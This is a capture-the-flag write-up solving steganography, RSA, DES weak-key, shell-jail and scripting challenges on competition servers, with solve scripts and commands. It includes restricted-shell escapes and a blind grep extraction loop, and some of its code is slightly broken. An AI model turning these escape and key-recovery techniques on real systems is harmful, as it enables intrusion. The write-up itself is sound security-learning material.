during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:
**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:
this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:
bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:
***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :
furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:
but if we look at a regular PNG file or Zip file we get the following bytes frequency:
we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:
**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:
it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:
## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:
we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:
now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:
I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:
and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:
## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:
**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:
it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:
## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:
this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:
**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:
so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:
after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:
and the file contains our flag:
## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:
## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:
## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...
...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:
## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:
seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):
## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:
I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:
## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:
It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:
actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:
